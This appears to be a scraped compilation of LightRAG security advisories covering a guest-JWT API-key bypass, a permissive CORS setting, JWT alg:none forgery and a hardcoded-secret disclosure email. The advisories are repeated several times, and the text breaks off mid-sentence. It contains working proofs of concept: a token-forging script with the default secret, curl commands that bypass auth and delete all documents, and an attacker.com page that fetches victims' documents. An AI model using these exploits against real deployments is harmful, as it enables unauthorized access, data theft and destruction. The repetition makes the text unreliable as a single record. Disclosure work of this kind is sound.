1. lightrag/api/config.py:54 ships a hardcoded default JWT secret:

   DEFAULT_TOKEN_SECRET="lightr...key!"
   

2. lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
3. lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
4. lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:

   if not auth_configured and token_info.get("role") == "guest":
       return
   

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

• LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
• AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

• Read and delete arbitrary documents (/documents, DELETE /documents)
• Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
• Clear LLM / embedding caches (/documents/clear_cache)
• Inspect and mutate the knowledge graph (/graph/*)
• Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

1. Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
2. Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
3. Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

• main through commit 157c331 (2026-04-15)
• Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

• GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
• GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
• Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

1. lightrag/api/config.py:54 ships a hardcoded default JWT secret:

   DEFAULT_TOKEN_SECRET="lightr...key!"
   

2. lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
3. lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
4. lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:

   if not auth_configured and token_info.get("role") == "guest":
       return
   

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

• LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
• AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

• Read and delete arbitrary documents (/documents, DELETE /documents)
• Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
• Clear LLM / embedding caches (/documents/clear_cache)
• Inspect and mutate the knowledge graph (/graph/*)
• Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

1. Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
2. Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
3. Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

• main through commit 157c331 (2026-04-15)
• Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

• GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
• GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
• Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

1. lightrag/api/config.py:54 ships a hardcoded default JWT secret:

   DEFAULT_TOKEN_SECRET="lightr...key!"
   

2. lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
3. lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
4. lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:

   if not auth_configured and token_info.get("role") == "guest":
       return
   

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

• LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
• AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

• Read and delete arbitrary documents (/documents, DELETE /documents)
• Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
• Clear LLM / embedding caches (/documents/clear_cache)
• Inspect and mutate the knowledge graph (/graph/*)
• Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

1. Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
2. Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
3. Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

• main through commit 157c331 (2026-04-15)
• Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

• GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
• GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
• Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

1. Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
2. Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
3. Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
4. Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

1. lightrag/api/config.py:54 ships a hardcoded default JWT secret:

   DEFAULT_TOKEN_SECRET="lightr...key!"
   

2. lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
3. lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
4. lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:

   if not auth_configured and token_info.get("role") == "guest":
       return
   

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

• LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
• AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

• Read and delete arbitrary documents (/documents, DELETE /documents)
• Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
• Clear LLM / embedding caches (/documents/clear_cache)
• Inspect and mutate the knowledge graph (/graph/*)
• Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

1. Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
2. Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
3. Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

• main through commit 157c331 (2026-04-15)
• Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

• GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
• GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
• Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

